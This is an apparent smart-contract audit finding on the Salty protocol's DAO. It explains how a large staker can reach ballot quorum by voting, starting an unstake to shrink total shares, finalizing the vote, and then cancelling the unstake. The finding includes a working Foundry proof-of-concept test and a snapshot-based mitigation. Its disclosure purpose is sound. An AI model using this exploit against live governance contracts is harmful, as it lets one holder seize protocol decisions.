Users that have huge amounts of staked SALT can manipulate the return of Proposals::requiredQuorumForBallotType() for free. They can vote for a proposal, unstake they huge amount, the total shares inside the staking contract will decrease and as a result, the quorum will increase. After that, the user can immediately cancel unstake recovering all his staked SALT and having no penalty.
Proof of Concept
Check this foundry test
Setup:
contract TestProposals is Deployment
{
// User wallets for testing
address public constant alice = address(0x1111);
address public constant bob = address(0x2222);
address public constant charlie = address(0x3333);
constructor()
{
// If $COVERAGE=yes, create an instance of the contract so that coverage testing can work
// Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol)
if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" )))
initializeContracts();
grantAccessAlice();
grantAccessBob();
grantAccessCharlie();
vm.prank(address(initialDistribution));
salt.transfer(DEPLOYER, 100000000 ether);
// Allow time for proposals
vm.warp( block.timestamp + 45 days );
}
function setUp() public {
vm.startPrank( DEPLOYER );
usds.approve( address(proposals), type(uint256).max );
salt.approve( address(staking), type(uint256).max );
vm.stopPrank();
}
Proof of Concept:
function testDAOPOC() public {
address saltWhale = alice;
address otherStakers = bob;
// The salt wahle have a big proportion of the total staked SALT
vm.startPrank(DEPLOYER);
salt.transfer(saltWhale, 930_000 ether);
salt.transfer(otherStakers, 9_070_000 ether);
vm.stopPrank();
vm.startPrank(saltWhale);
salt.approve(address(staking), 930_000 ether);
staking.stakeSALT(930_000 ether);
vm.stopPrank();
vm.startPrank(otherStakers);
salt.approve(address(staking), 9_070_000 ether);
staking.stakeSALT(9_070_000 ether);
vm.stopPrank();
bytes32[] memory poolIDs = new bytes32[](1);
poolIDs[0] = bytes32(0);
console.log("Total shares", staking.totalSharesForPools(poolIDs)[0]);
console.log("Whale shares", staking.userShareForPools(saltWhale, poolIDs)[0]);
console.log("Other stakers shares", staking.userShareForPools(otherStakers, poolIDs)[0]);
// The whale votes for a proposal
vm.startPrank(saltWhale);
uint256 ballotID = proposals.proposeParameterBallot(2, "description" );
Vote newUserVote = Vote.DECREASE;
proposals.castVote(ballotID, newUserVote);
skip(10 days);
// Ballot proposer should not be able to finalize the ballot because not enough shares had been
// used to vote.
// 930 000 ether
// Voting power used = ---------------------- = 9.3%
// 10 000 000 ether
// Because, the required quorum is 10%
vm.expectRevert();
dao.finalizeBallot(ballotID);
// The whale can manipulate the totalShares by initiating unstake
uint256 unstakeID = staking.unstake(930_000 ether, 52);
// After that the quorum is reached due to the decrease of the total shares and the whale can finalize the ballot
dao.finalizeBallot(ballotID);
// After finalizing the ballot the whale can just recover his shares by canceling the unstake
staking.cancelUnstake(unstakeID);
vm.stopPrank();
}
Lines of code
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L317-L339
Vulnerability details
Impact
Users that have huge amounts of staked SALT can manipulate the return of
Proposals::requiredQuorumForBallotType()
for free. They can vote for a proposal, unstake they huge amount, the total shares inside the staking contract will decrease and as a result, the quorum will increase. After that, the user can immediately cancel unstake recovering all his staked SALT and having no penalty.Proof of Concept
Check this foundry test
Setup:
Proof of Concept:
Output traces:
Tools Used
Manual review
Recommended Mitigation Steps
Taking snapshots of the total voting power of the staking contract as well as the voting power of the users would not allow this kind of attack.
Assessed type
Governance